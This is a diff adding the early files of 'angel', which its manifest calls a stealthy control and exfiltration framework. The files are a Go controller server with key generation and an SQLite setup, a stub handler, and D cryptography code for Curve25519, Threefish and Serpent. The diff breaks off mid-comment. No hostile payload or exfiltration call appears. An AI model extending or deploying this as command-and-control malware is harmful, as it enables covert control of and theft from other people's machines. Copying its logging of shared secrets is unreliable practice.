index 0000000..c2992fb --- /dev/null +++ b/v1/controller.go @@ -0,0 +1,7 @@ +package conn + +import "net" + +func controller_impl(conn net.Conn) { + +} \ No newline at end of file diff --git a/v1/cryptmeow.go b/v1/cryptmeow.go new file mode 100644 index 0000000..c853531 --- /dev/null +++ b/v1/cryptmeow.go @@ -0,0 +1,23 @@ +package cryptmeow + +import ( + "angel_server/consts" + "crypto/rand" + + "golang.org/x/crypto/curve25519" +) + +func Gen_keypair() (publicKey [32]byte, privateKey [32]byte) { + consts.Logger.Warn("Generating ephemeral keys for SSH authetification.") + + _, err := rand.Read(privateKey[:]) + if err != nil { + consts.Logger.Error("Failed to generate private key: " + err.Error()) + } + + curve25519.ScalarBaseMult(&publicKey, &privateKey) + + return publicKey, privateKey +} + +var ControllerPublicKey, ControllerPrivateKey [32]byte = Gen_keypair() \ No newline at end of file diff --git a/v1/cryptography.d b/v1/cryptography.d new file mode 100644 index 0000000..b21c842 --- /dev/null +++ b/v1/cryptography.d @@ -0,0 +1,148 @@ +module angel.utils.cryptography.cryptography; + +// Internal imports +import angel.utils.logging; +import angel.utils.cryptography.serpent; +import angel.utils.cryptography.threefish; +import angel.utils.cryptography.curve25519; +// External imports +import std.stdio; +import std.random; +import std.format; + +class Cryptography { + public { + struct KeyPair { + ubyte[32] clientSecretKey; + ubyte[32] sharedSecret; + } + } + + public static KeyPair derive_25519(ubyte[] pk) { + ubyte[32] sk; // generate client secret key + for (int i = 0; i < 32; ++i) { + sk[i] = cast(ubyte)(uniform(0, 256)); + } + + Logger.log(LogLevel.Debug, "Generated client sk"); + + ubyte[32] ss = curve25519_scalarmult(sk, pk); // derive shared secret out of pk and sk + + Logger.log(LogLevel.Debug, format("Derived shared secret: %s", ss)); + + return KeyPair(sk, ss); + } + + +} + +class Freefishy { + private Threefish512 cipher; + + this(ulong[8] key, ulong[2] tweak) { + cipher = new Threefish512(); + cipher.setup(key, tweak); + } + + public ubyte[] encrypt(ubyte[] payload) { + ulong[8] plain = [0, 0, 0, 0, 0, 0, 0, 0]; + + // Pack the ubyte[] into ulong[] by 8 bytes per ulong + foreach (i, c; payload) { + plain[i / 8] |= cast(ulong) c << ((i % 8) * 8); + } + + // Encrypt the ulong array + ulong[] encrypted_three = cipher.crypt(plain); + + // Convert the encrypted ulong[] back to ubyte[] + ubyte[] encrypted_bytes; + foreach (enc_val; encrypted_three) { + foreach (i; 0..8) { + encrypted_bytes ~= cast(ubyte)((enc_val >> (i * 8)) & 0xFF); + } + } + + Logger.log(LogLevel.Debug, format("Threefish Encrypted: %s", encrypted_bytes)); + return encrypted_bytes; + } + + public ubyte[] decrypt(ubyte[] payload) { + ulong[8] decrypted_buffer; + + // Convert the ubyte[] payload back into ulong[] (8 bytes per ulong) + ulong[8] cipher_payload; + foreach (i, val; payload) { + cipher_payload[i / 8] |= cast(ulong) val << ((i % 8) * 8); + } + + // Decrypt the ulong[] array + cipher.decrypt(cipher_payload.ptr, decrypted_buffer.ptr); + + // Convert the decrypted ulong[] back to ubyte[] + ubyte[] decrypted_bytes; + foreach (dec_val; decrypted_buffer) { + foreach (i; 0..8) { + decrypted_bytes ~= cast(ubyte)((dec_val >> (i * 8)) & 0xFF); + } + } + + Logger.log(LogLevel.Debug, format("Threefish Decrypted: %s", decrypted_bytes)); + return decrypted_bytes; + } +} + + +class Serpi { + private Serpent serp; + + this(Cryptography.KeyPair keypair) { + auto key = cast(ubyte[]) keypair.sharedSecret.dup; + serp.start(key); + } + + public ubyte[] encrypt(ubyte[] payload) { + ubyte padding = cast(ubyte)(16 - (payload.length % 16)); + ubyte[] paddingBytes = new ubyte[padding]; + foreach (i; 0 .. padding) { + paddingBytes[i] = padding; + } + ubyte[] input = payload ~ paddingBytes; + ubyte[] output = new ubyte[input.length]; + + serp.encrypt(input, output); + Logger.log(LogLevel.Debug, format("Serpent Encrypted data: %s", output)); + + return output; + } + + public ubyte[] decrypt(ubyte[] payload) { + ubyte[] output = new ubyte[payload.length]; + serp.decrypt(payload, output); + + if (output.length == 0) { + throw new Exception("Decryption failed: Output length is zero."); + } + + ubyte padding = output[$ - 1]; + + if (padding > 16 || padding == 0) { + throw new Exception("Invalid padding detected"); + } + + foreach (i; output.length - padding .. output.length) { + if (output[i] != padding) { + throw new Exception("Padding validation failed"); + } + } + + ubyte[] unpadded = output[0 .. output.length - padding]; + Logger.log(LogLevel.Debug, format("Serpent Decrypted data: %s", unpadded)); + + return unpadded; + } + + public void reset() { + serp.reset(); + } +} \ No newline at end of file diff --git a/v1/curve25519.d b/v1/curve25519.d new file mode 100644 index 0000000..8d911e7 --- /dev/null +++ b/v1/curve25519.d @@ -0,0 +1,136 @@ +module angel.utils.cryptography.curve25519; + +import angel.utils.cryptography.fieldelem; +import angel.utils.cryptography.utils; + +public enum ubyte[32] publicBasePoint = cast(immutable (ubyte[32]) ) x"0900000000000000000000000000000000000000000000000000000000000000"; + +@safe nothrow @nogc: + +/// +/// +/// Params: +/// secret = Your secret key, the 'exponent'. +/// p = Receivers public key. Default base point = 9. +/// +/// Returns: p^secret. +/// +/// Examples: +/// +/// ubyte[32] publicKey = curve25519_scalarmult(secretKey); +/// +/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey); +/// +ubyte[32] curve25519_scalarmult( + in ubyte[] secret, + in ubyte[] p = cast(const ubyte[32]) publicBasePoint) @safe nothrow @nogc +in { + assert(secret.length == 32, "Secret key must be 32 bytes long."); + assert(p.length == 32, "Public key must be 32 bytes long."); +} body { + ubyte[32] sec = secret; + scope(exit) { + wipe(sec); + } + + ubyte[32] pub = p; + + return curve25519_scalarmult(sec, pub); +} + +/// +/// +/// Params: +/// secret = Your secret key, the 'exponent'. +/// p = Receivers public key. Default base point = 9. +/// +/// Returns: p^secret. +/// +/// Examples: +/// +/// ubyte[32] publicKey = curve25519_scalarmult(secretKey); +/// +/// ubyte[32] sharedKey = curve25519_scalarmult(mySecretKey, herPublicKey); +/// +ubyte[32] curve25519_scalarmult(in ref ubyte[32] secret, in ref ubyte[32] p = publicBasePoint) @safe nothrow @nogc +{ + ubyte[32] e = secret; + scope(exit) { + wipe(e); + } + clamp(e); + + fe x1, x2, x3, z2, z3, tmp0, tmp1; + scope(exit) { + wipe(x1); + wipe(x2); + wipe(x3); + wipe(z2); + wipe(z3); + wipe(tmp0); + wipe(tmp1); + } + + x1 = fe.fromBytes(p); + x2 = fe.one; + z2 = fe.zero; + x3 = x1; + z3 = fe.one; + + uint swap = 0, b; + for (int pos = 254; pos >= 0;--pos) { + b = e[pos / 8] >> (pos & 7); + b &= 1; + swap ^= b; + fe_cswap(x2,x3,swap); + fe_cswap(z2,z3,swap); + swap = b; + + tmp0 = x3 - z3; + + tmp1 = x2 - z2; + x2 += z2; + z2 = x3 + z3; + + z3 = tmp0 * x2; + + z2 *= tmp1; + tmp0 = tmp1.sq; + tmp1 = x2.sq; + x3 = z2 + z3; + + z2 = z3 - z2; + x2 = tmp0 * tmp1; + + tmp1 -= tmp0; + + z2 = z2.sq; + + z3 = fe_mul121666(tmp1); + + x3 = x3.sq; + + tmp0 += z3; + z3 = x1 * z2; + + z2 = tmp0 * tmp1; + } + fe_cswap(x2,x3,swap); + fe_cswap(z2,z3,swap); + + x2 *= z2.inverse; + return x2.toBytes; +} + +/// Transforms 32 random bytes into a valid secret key. +/// +/// Params: +/// sk = 32 byte secret key. +package void clamp(ubyte[] sk) pure +in { + assert(sk.length == 32); +} body { + sk[0] &= 248; + sk[31] &= 63; + sk[31] |= 64; +} \ No newline at end of file diff --git a/v1/database.go b/v1/database.go new file mode 100644 index 0000000..37482bf --- /dev/null +++ b/v1/database.go @@ -0,0 +1,22 @@ +package db + +import ( + "angel_server/consts" + "database/sql" + "log" + + _ "github.com/mattn/go-sqlite3" +) + +func CheckLayer(db *sql.DB, layerID int) bool { + var exists bool + + query := `SELECT EXISTS(SELECT 1 FROM layers WHERE layer_id = ?);` + + err := consts.Db.QueryRow(query, layerID).Scan(&exists) + if err != nil { + log.Fatal(err) + } + + return exists +} \ No newline at end of file diff --git a/v1/dev.txt b/v1/dev.txt new file mode 100644 index 0000000..3db1440 --- /dev/null +++ b/v1/dev.txt @@ -0,0 +1,5 @@ +dub build --arch=x86 --compiler=dmd --vverbose --deep --build=release --force + +gdi32, user32 + +"alwaysStackFrame","betterC","syntaxOnly", diff --git a/v1/dub.json b/v1/dub.json new file mode 100644 index 0000000..c1c1a49 --- /dev/null +++ b/v1/dub.json @@ -0,0 +1,25 @@ +{ + "authors": ["k0"], + "version": "1.0.0", + "copyright": "Copyright © 2024, k0", + "description": "Versatile stealthy control and exfiltration framework", + "license": "MIT", + "name": "angel", + "targetType": "executable", + "targetPath": "bin", + "sourcePaths": ["angel"], + "mainSourceFile": "angel/angel.d", + "libs-windows": ["crypt32"], + "libs-posix": [], + "copyFiles": ["../LICENSE.txt"], + "copyFiles-windows-x86": ["libs/win32/*.dll"], + "extraDependencyFiles": ["libs/crypto/*"], + "buildOptions": [ + "noBoundsCheck", + "releaseMode", + "inline", + "optimize", + "warnings", + "lowmem" + ] +} diff --git a/v1/extra.go b/v1/extra.go new file mode 100644 index 0000000..040a7e2 --- /dev/null +++ b/v1/extra.go @@ -0,0 +1,48 @@ +package extra + +import ( + "angel_server/consts" + "angel_server/cryptmeow" + "database/sql" + "fmt" + "log" + + _ "github.com/mattn/go-sqlite3" +) + +func Init() { + consts.Logger.Warn("Welcome to angel net! To autheticate as the admin controller of the net, you'll need to use the following key via the ssh shell") + consts.Logger.Warn(fmt.Sprintf("%d", cryptmeow.ControllerPublicKey[:])) + + var err error + consts.Db, err = sql.Open("sqlite3", "../angel_db.sqlite3") + if err != nil { + log.Fatal(err) + } + defer consts.Db.Close() + + createTableSQL := ` + CREATE TABLE IF NOT EXISTS layers ( + layer_id INTEGER NOT NULL CHECK(layer_id >= 0 AND layer_id <= 8), + public_key BLOB NOT NULL CHECK(LENGTH(public_key) = 32), + secret_key BLOB NOT NULL CHECK(LENGTH(secret_key) = 32), + PRIMARY KEY (layer_id) + );` + + _, err = consts.Db.Exec(createTableSQL) + if err != nil { + log.Fatal(err) + } + + var array_pk, array_sk []byte + copy(array_pk, cryptmeow.ControllerPublicKey[:]) + copy(array_sk, cryptmeow.ControllerPrivateKey[:]) + + insertSQL := `INSERT OR IGNORE INTO layers (layer_id, public_key, secret_key) VALUES (?, ?, ?);` + _, err = consts.Db.Exec(insertSQL, 0, array_pk, array_sk) + if err != nil { + log.Fatal(err) + } + + consts.Logger.Info("Database initialized and 'layers' table created successfully! Admin/controller handler has been added.") +} \ No newline at end of file diff --git a/v1/fieldelem.d b/v1/fieldelem.d new file mode 100644 index 0000000..2234444 --- /dev/null +++ b/v1/fieldelem.d @@ -0,0 +1,1239 @@ +module angel.utils.cryptography.fieldelem; + +import angel.utils.cryptography.bitmanip; +import angel.utils.cryptography.utils; + +@safe nothrow @nogc: + +/// fe means field element. +/// Here the field is \Z/(2^255-19). +/// An element t, entries t[0]...t[9], represents the integer +/// t[0]+2^26 t[1]+2^51 t[2]+2^77 t[3]+2^102 t[4]+...+2^230 t[9]. +/// Bounds on each t[i] vary depending on context. + +@safe +struct fe { + + enum fe zero = 0; + enum fe one = [1,0,0,0,0,0,0,0,0,0]; + + private uint[10] value; + private alias value this; + + // this(in ref uint[10] v) { + // value = v; + // } + nothrow @nogc: + + /// Create fe from 32 bytes. + static fe fromBytes(in ubyte[] bytes) + in { + assert(bytes.length == 32, "bytes.length must be 32."); + } body { + return fe_frombytes(bytes); + } + + this(in uint[] v) + in { + assert(v.length == 10, "v.length must be 10."); + } body { + value = v; + } + + // TODO remove + this(in uint v) + { + value[] = v; + } + + fe opAssign(in ref uint[10] v) { + value = v; + return this; + } + + /// Comparing in constant time. + bool opEquals()(auto ref const fe rhs) const { + return crypto_equals(this.value, rhs.value); + } + + fe opBinary(string op)(auto ref const fe rhs) const pure + if (op == "+" || op == "-" || op == "*") + { + static if(op == "+") { + fe tmp; + tmp.value[] = this.value[] + rhs.value[]; + return tmp; + } else static if(op == "-") { + fe tmp; + tmp.value[] = this.value[] - rhs.value[]; + return tmp; + } else static if(op == "*") { + return fe_mul(this, rhs); + } + } + + fe opUnary(string op)() const + if(op == "-") + { + static if(op == "-") { + fe tmp; + tmp.value[] = -this.value[]; + return tmp; + } + } + + ref fe opOpAssign(string op)(auto ref const fe rhs) pure + if (op == "+" || op == "-" || op == "*") + { + static if(op == "+") { + value[] += rhs.value[]; + } else static if(op == "-") { + value[] -= rhs.value[]; + } else static if(op == "*") { + this = this * rhs; + } + + return this; + } + + /* + return 1 if f == 0 + return 0 if f != 0 + + Preconditions: + |f| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. + */ + @property + bool isNonzero() const + { + immutable ubyte[32] zero = 0; + return !crypto_equals(fe_tobytes(this), zero); + } + + /** + return 1 if f is in {1,3,5,...,q-2} + return 0 if f is in {0,2,4,...,q-1} + + Preconditions: + |f| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. + */ + @property + bool isNegative() const + { + return (toBytes[0] & 1) == 1; + } + + @property + fe inverse() const { + return fe_invert(this); + } + + /// Changes the sign. + void negate() { + value[] = -value[]; + } + + @property + ubyte[32] toBytes() const { + return fe_tobytes(this); + } + + /// Params: + /// repeat = Repeat squaring n times. + /// Returns: f^2 or f^(2^repeat). + @property + fe sq(uint repeat = 1)() const pure + if(repeat > 0) + { + fe f = fe_sq(this); + + static if(repeat > 1) { + foreach(i; 1..repeat) { + f = f.sq!1; + } + } + + return f; + } + + /// Returns: 2*f*f + @property + fe sq2() const pure { + return fe_sq2(this); + } + + /// Power by squaring in constant time. + /// Returns f^power + @property + fe cpow(uint power)() const { + fe r = fe.one; + fe sq = this; + for(uint p = power; p > 0; p >>= 1) { + if((p & 1) == 1) { + r *= sq; + } + sq = sq.sq; + } + + return r; + } +} + + + +///// h = f + g +///// Can overlap h with f or g. +///// +///// Preconditions: +///// |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. +///// |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc. +///// +///// Postconditions: +///// |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc. +//void fe_add(ref fe h, in ref fe f, in ref fe g) +//{ +// //h[] = f[] + g[]; +// foreach(i; 0..10) { +// h[i] = f[i] + g[i]; +// } +//} + + +/// Conditional move. +/// Replace (f,g) with (g,g) if b == 1; +/// replace (f,g) with (f,g) if b == 0. +/// +/// Params: +/// dest = Destination. +/// src = Source. +/// condition = Condition. +void fe_cmov(ref fe dest, in ref fe src, in bool condition) +in { + assert(condition == 0 || condition == 1); +} out { + if(condition == 1) { + assert(dest == src); + } +} body { + immutable uint mask = -(cast(int)condition); + + assert((condition == 0 && mask == 0) || (condition == 1 && mask == 0xFFFFFFFF)); + + dest[] ^= mask & dest[]; + dest[] ^= mask & src[]; +} + +// test conditional move +unittest { + import std.algorithm: all; + + fe a, b; + a[] = 13; + b[] = 42; + + assert(all!"a == 13"(a[])); + assert(all!"a == 42"(b[])); + + fe_cmov(a, b, 0); + + assert(all!"a == 13"(a[])); + assert(all!"a == 42"(b[])); + + fe_cmov(a, b, 1); + + assert(all!"a == 42"(a[])); +} + +ulong load_3(in ubyte[] inp) pure +in { + assert(inp.length == 3); +} body { + ulong result; + result = cast(ulong) inp[0]; + result |= (cast(ulong) inp[1]) << 8; + result |= (cast(ulong) inp[2]) << 16; + return result; +} + +ulong load_4(in ubyte[] inp) pure +in { + assert(inp.length == 4); +} body { + ulong result; + result = cast(ulong) inp[0]; + result |= (cast(ulong) inp[1]) << 8; + result |= (cast(ulong) inp[2]) << 16; + result |= (cast(ulong) inp[3]) << 24; + return result; +} + +/* + Ignores top bit of h. + */ +private fe fe_frombytes(in ubyte[] s) pure +in { + assert(s.length == 32); +} body { + long h0 = load_4(s[0..4]); + long h1 = load_3(s[4..7]) << 6; + long h2 = load_3(s[7..10]) << 5; + long h3 = load_3(s[10..13]) << 3; + long h4 = load_3(s[13..16]) << 2; + long h5 = load_4(s[16..20]); + long h6 = load_3(s[20..23]) << 7; + long h7 = load_3(s[23..26]) << 5; + long h8 = load_3(s[26..29]) << 4; + long h9 = (load_3(s[29..32]) & 8388607) << 2; + + long carry0; + long carry1; + long carry2; + long carry3; + long carry4; + long carry5; + long carry6; + long carry7; + long carry8; + long carry9; + + carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); + carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); + carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); + carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); + carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); + carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); + + fe h; + h[0] = cast(int) h0; + h[1] = cast(int) h1; + h[2] = cast(int) h2; + h[3] = cast(int) h3; + h[4] = cast(int) h4; + h[5] = cast(int) h5; + h[6] = cast(int) h6; + h[7] = cast(int) h7; + h[8] = cast(int) h8; + h[9] = cast(int) h9; + return h; +} + +// TODO replace all SHL* with << +long SHL64(in long val, in uint shift) pure nothrow @nogc { + return cast(long)(cast(ulong) val << shift); +} + +int SHL32(in int val, in uint shift) pure nothrow @nogc { + return cast(int)(cast(uint) val << shift); +} + +int SHL8(in byte val, in uint shift) pure nothrow @nogc { + return cast(byte)(cast(ubyte) val << shift); +} + +unittest { + assert(cast(int)(0xFFFFFFFF) << 7 == SHL32(0xFFFFFFFF, 7)); +} + +private fe fe_invert(in ref fe z) +{ + fe t0; + fe t1; + fe t2; + fe t3; + // pow225521 + t0 = z.sq; + t1 = t0.sq.sq; + + t1 *= z; + t0 *= t1; + t2 = t0.sq; + t1 *= t2; + + t2 = t1.sq!5; + + t1 *= t2; + t2 = t1.sq!10; + + t2 *= t1; + + t3 = t2.sq!20; + + t2 *= t3; + t2 = t2.sq!10; + + t1 *= t2; + + t2 = t1.sq!50; + + t2 *= t1; + t3 = t2.sq!100; + + t2 *= t3; + t2 = t2.sq!50; + + t1 *= t2; + + t1 = t1.sq!5; + + return t1 * t0; +} + + + + + +/** + Returns: h = f * g + Can overlap h with f or g. + + Preconditions: + |f| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. + |g| bounded by 1.65*2^26,1.65*2^25,1.65*2^26,1.65*2^25,etc. + + Postconditions: + |h| bounded by 1.01*2^25,1.01*2^24,1.01*2^25,1.01*2^24,etc. + + Note: + Notes on implementation strategy: + + Using schoolbook multiplication. + Karatsuba would save a little in some cost models. + + Most multiplications by 2 and 19 are 32-bit precomputations; + cheaper than 64-bit postcomputations. + + There is one remaining multiplication by 19 in the carry chain; + one *19 precomputation can be merged into this, + but the resulting data flow is considerably less clean. + + There are 12 carries below. + 10 of them are 2-way parallelizable and vectorizable. + Can get away with 11 carries, but then data flow is much deeper. + + With tighter constraints on inputs can squeeze carries into int32. + */ +private fe fe_mul(in ref fe f, in ref fe g) pure +{ + int f0 = f[0]; + int f1 = f[1]; + int f2 = f[2]; + int f3 = f[3]; + int f4 = f[4]; + int f5 = f[5]; + int f6 = f[6]; + int f7 = f[7]; + int f8 = f[8]; + int f9 = f[9]; + int g0 = g[0]; + int g1 = g[1]; + int g2 = g[2]; + int g3 = g[3]; + int g4 = g[4]; + int g5 = g[5]; + int g6 = g[6]; + int g7 = g[7]; + int g8 = g[8]; + int g9 = g[9]; + int g1_19 = 19 * g1; /* 1.959375*2^29 */ + int g2_19 = 19 * g2; /* 1.959375*2^30; still ok */ + int g3_19 = 19 * g3; + int g4_19 = 19 * g4; + int g5_19 = 19 * g5; + int g6_19 = 19 * g6; + int g7_19 = 19 * g7; + int g8_19 = 19 * g8; + int g9_19 = 19 * g9; + int f1_2 = 2 * f1; + int f3_2 = 2 * f3; + int f5_2 = 2 * f5; + int f7_2 = 2 * f7; + int f9_2 = 2 * f9; + long f0g0 = f0 * cast(long) g0; + long f0g1 = f0 * cast(long) g1; + long f0g2 = f0 * cast(long) g2; + long f0g3 = f0 * cast(long) g3; + long f0g4 = f0 * cast(long) g4; + long f0g5 = f0 * cast(long) g5; + long f0g6 = f0 * cast(long) g6; + long f0g7 = f0 * cast(long) g7; + long f0g8 = f0 * cast(long) g8; + long f0g9 = f0 * cast(long) g9; + long f1g0 = f1 * cast(long) g0; + long f1g1_2 = f1_2 * cast(long) g1; + long f1g2 = f1 * cast(long) g2; + long f1g3_2 = f1_2 * cast(long) g3; + long f1g4 = f1 * cast(long) g4; + long f1g5_2 = f1_2 * cast(long) g5; + long f1g6 = f1 * cast(long) g6; + long f1g7_2 = f1_2 * cast(long) g7; + long f1g8 = f1 * cast(long) g8; + long f1g9_38 = f1_2 * cast(long) g9_19; + long f2g0 = f2 * cast(long) g0; + long f2g1 = f2 * cast(long) g1; + long f2g2 = f2 * cast(long) g2; + long f2g3 = f2 * cast(long) g3; + long f2g4 = f2 * cast(long) g4; + long f2g5 = f2 * cast(long) g5; + long f2g6 = f2 * cast(long) g6; + long f2g7 = f2 * cast(long) g7; + long f2g8_19 = f2 * cast(long) g8_19; + long f2g9_19 = f2 * cast(long) g9_19; + long f3g0 = f3 * cast(long) g0; + long f3g1_2 = f3_2 * cast(long) g1; + long f3g2 = f3 * cast(long) g2; + long f3g3_2 = f3_2 * cast(long) g3; + long f3g4 = f3 * cast(long) g4; + long f3g5_2 = f3_2 * cast(long) g5; + long f3g6 = f3 * cast(long) g6; + long f3g7_38 = f3_2 * cast(long) g7_19; + long f3g8_19 = f3 * cast(long) g8_19; + long f3g9_38 = f3_2 * cast(long) g9_19; + long f4g0 = f4 * cast(long) g0; + long f4g1 = f4 * cast(long) g1; + long f4g2 = f4 * cast(long) g2; + long f4g3 = f4 * cast(long) g3; + long f4g4 = f4 * cast(long) g4; + long f4g5 = f4 * cast(long) g5; + long f4g6_19 = f4 * cast(long) g6_19; + long f4g7_19 = f4 * cast(long) g7_19; + long f4g8_19 = f4 * cast(long) g8_19; + long f4g9_19 = f4 * cast(long) g9_19; + long f5g0 = f5 * cast(long) g0; + long f5g1_2 = f5_2 * cast(long) g1; + long f5g2 = f5 * cast(long) g2; + long f5g3_2 = f5_2 * cast(long) g3; + long f5g4 = f5 * cast(long) g4; + long f5g5_38 = f5_2 * cast(long) g5_19; + long f5g6_19 = f5 * cast(long) g6_19; + long f5g7_38 = f5_2 * cast(long) g7_19; + long f5g8_19 = f5 * cast(long) g8_19; + long f5g9_38 = f5_2 * cast(long) g9_19; + long f6g0 = f6 * cast(long) g0; + long f6g1 = f6 * cast(long) g1; + long f6g2 = f6 * cast(long) g2; + long f6g3 = f6 * cast(long) g3; + long f6g4_19 = f6 * cast(long) g4_19; + long f6g5_19 = f6 * cast(long) g5_19; + long f6g6_19 = f6 * cast(long) g6_19; + long f6g7_19 = f6 * cast(long) g7_19; + long f6g8_19 = f6 * cast(long) g8_19; + long f6g9_19 = f6 * cast(long) g9_19; + long f7g0 = f7 * cast(long) g0; + long f7g1_2 = f7_2 * cast(long) g1; + long f7g2 = f7 * cast(long) g2; + long f7g3_38 = f7_2 * cast(long) g3_19; + long f7g4_19 = f7 * cast(long) g4_19; + long f7g5_38 = f7_2 * cast(long) g5_19; + long f7g6_19 = f7 * cast(long) g6_19; + long f7g7_38 = f7_2 * cast(long) g7_19; + long f7g8_19 = f7 * cast(long) g8_19; + long f7g9_38 = f7_2 * cast(long) g9_19; + long f8g0 = f8 * cast(long) g0; + long f8g1 = f8 * cast(long) g1; + long f8g2_19 = f8 * cast(long) g2_19; + long f8g3_19 = f8 * cast(long) g3_19; + long f8g4_19 = f8 * cast(long) g4_19; + long f8g5_19 = f8 * cast(long) g5_19; + long f8g6_19 = f8 * cast(long) g6_19; + long f8g7_19 = f8 * cast(long) g7_19; + long f8g8_19 = f8 * cast(long) g8_19; + long f8g9_19 = f8 * cast(long) g9_19; + long f9g0 = f9 * cast(long) g0; + long f9g1_38 = f9_2 * cast(long) g1_19; + long f9g2_19 = f9 * cast(long) g2_19; + long f9g3_38 = f9_2 * cast(long) g3_19; + long f9g4_19 = f9 * cast(long) g4_19; + long f9g5_38 = f9_2 * cast(long) g5_19; + long f9g6_19 = f9 * cast(long) g6_19; + long f9g7_38 = f9_2 * cast(long) g7_19; + long f9g8_19 = f9 * cast(long) g8_19; + long f9g9_38 = f9_2 * cast(long) g9_19; + long h0 = f0g0+f1g9_38+f2g8_19+f3g7_38+f4g6_19+f5g5_38+f6g4_19+f7g3_38+f8g2_19+f9g1_38; + long h1 = f0g1+f1g0 +f2g9_19+f3g8_19+f4g7_19+f5g6_19+f6g5_19+f7g4_19+f8g3_19+f9g2_19; + long h2 = f0g2+f1g1_2 +f2g0 +f3g9_38+f4g8_19+f5g7_38+f6g6_19+f7g5_38+f8g4_19+f9g3_38; + long h3 = f0g3+f1g2 +f2g1 +f3g0 +f4g9_19+f5g8_19+f6g7_19+f7g6_19+f8g5_19+f9g4_19; + long h4 = f0g4+f1g3_2 +f2g2 +f3g1_2 +f4g0 +f5g9_38+f6g8_19+f7g7_38+f8g6_19+f9g5_38; + long h5 = f0g5+f1g4 +f2g3 +f3g2 +f4g1 +f5g0 +f6g9_19+f7g8_19+f8g7_19+f9g6_19; + long h6 = f0g6+f1g5_2 +f2g4 +f3g3_2 +f4g2 +f5g1_2 +f6g0 +f7g9_38+f8g8_19+f9g7_38; + long h7 = f0g7+f1g6 +f2g5 +f3g4 +f4g3 +f5g2 +f6g1 +f7g0 +f8g9_19+f9g8_19; + long h8 = f0g8+f1g7_2 +f2g6 +f3g5_2 +f4g4 +f5g3_2 +f6g2 +f7g1_2 +f8g0 +f9g9_38; + long h9 = f0g9+f1g8 +f2g7 +f3g6 +f4g5 +f5g4 +f6g3 +f7g2 +f8g1 +f9g0 ; + long carry0; + long carry1; + long carry2; + long carry3; + long carry4; + long carry5; + long carry6; + long carry7; + long carry8; + long carry9; + + /* + |h0| <= (1.65*1.65*2^52*(1+19+19+19+19)+1.65*1.65*2^50*(38+38+38+38+38)) + i.e. |h0| <= 1.4*2^60; narrower ranges for h2, h4, h6, h8 + |h1| <= (1.65*1.65*2^51*(1+1+19+19+19+19+19+19+19+19)) + i.e. |h1| <= 1.7*2^59; narrower ranges for h3, h5, h7, h9 + */ + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + /* |h0| <= 2^25 */ + /* |h4| <= 2^25 */ + /* |h1| <= 1.71*2^59 */ + /* |h5| <= 1.71*2^59 */ + + carry1 = (h1 + cast(long) (1<<24)) >> 25; h2 += carry1; h1 -= SHL64(carry1,25); + carry5 = (h5 + cast(long) (1<<24)) >> 25; h6 += carry5; h5 -= SHL64(carry5,25); + /* |h1| <= 2^24; from now on fits into int32 */ + /* |h5| <= 2^24; from now on fits into int32 */ + /* |h2| <= 1.41*2^60 */ + /* |h6| <= 1.41*2^60 */ + + carry2 = (h2 + cast(long) (1<<25)) >> 26; h3 += carry2; h2 -= SHL64(carry2,26); + carry6 = (h6 + cast(long) (1<<25)) >> 26; h7 += carry6; h6 -= SHL64(carry6,26); + /* |h2| <= 2^25; from now on fits into int32 unchanged */ + /* |h6| <= 2^25; from now on fits into int32 unchanged */ + /* |h3| <= 1.71*2^59 */ + /* |h7| <= 1.71*2^59 */ + + carry3 = (h3 + cast(long) (1<<24)) >> 25; h4 += carry3; h3 -= SHL64(carry3,25); + carry7 = (h7 + cast(long) (1<<24)) >> 25; h8 += carry7; h7 -= SHL64(carry7,25); + /* |h3| <= 2^24; from now on fits into int32 unchanged */ + /* |h7| <= 2^24; from now on fits into int32 unchanged */ + /* |h4| <= 1.72*2^34 */ + /* |h8| <= 1.41*2^60 */ + + carry4 = (h4 + cast(long) (1<<25)) >> 26; h5 += carry4; h4 -= SHL64(carry4,26); + carry8 = (h8 + cast(long) (1<<25)) >> 26; h9 += carry8; h8 -= SHL64(carry8,26); + /* |h4| <= 2^25; from now on fits into int32 unchanged */ + /* |h8| <= 2^25; from now on fits into int32 unchanged */ + /* |h5| <= 1.01*2^24 */ + /* |h9| <= 1.71*2^59 */ + + carry9 = (h9 + cast(long) (1<<24)) >> 25; h0 += carry9 * 19; h9 -= SHL64(carry9,25); + /* |h9| <= 2^24; from now on fits into int32 unchanged */ + /* |h0| <= 1.1*2^39 */ + + carry0 = (h0 + cast(long) (1<<25)) >> 26; h1 += carry0; h0 -= SHL64(carry0,26); + /* |h0| <= 2^25; from now on fits into int32 unchanged */ + /* |h1| <= 1.01*2^24 */ + fe h; + h[0] = cast(int) h0; + h[1] = cast(int) h1; + h[2] = cast(int) h2; + h[3] = cast(int) h3; + h[4] = cast(int) h4; + h[5] = cast(int) h5; + h[6] = cast(int) h6; + h[7] = cast(int) h7; + h[8] = cast(int) h8; + h[9] = cast(int) h9; + + return h; +} + + +/// Returns f * 121666 +/// +/// Preconditions: +/// |f| bounded by 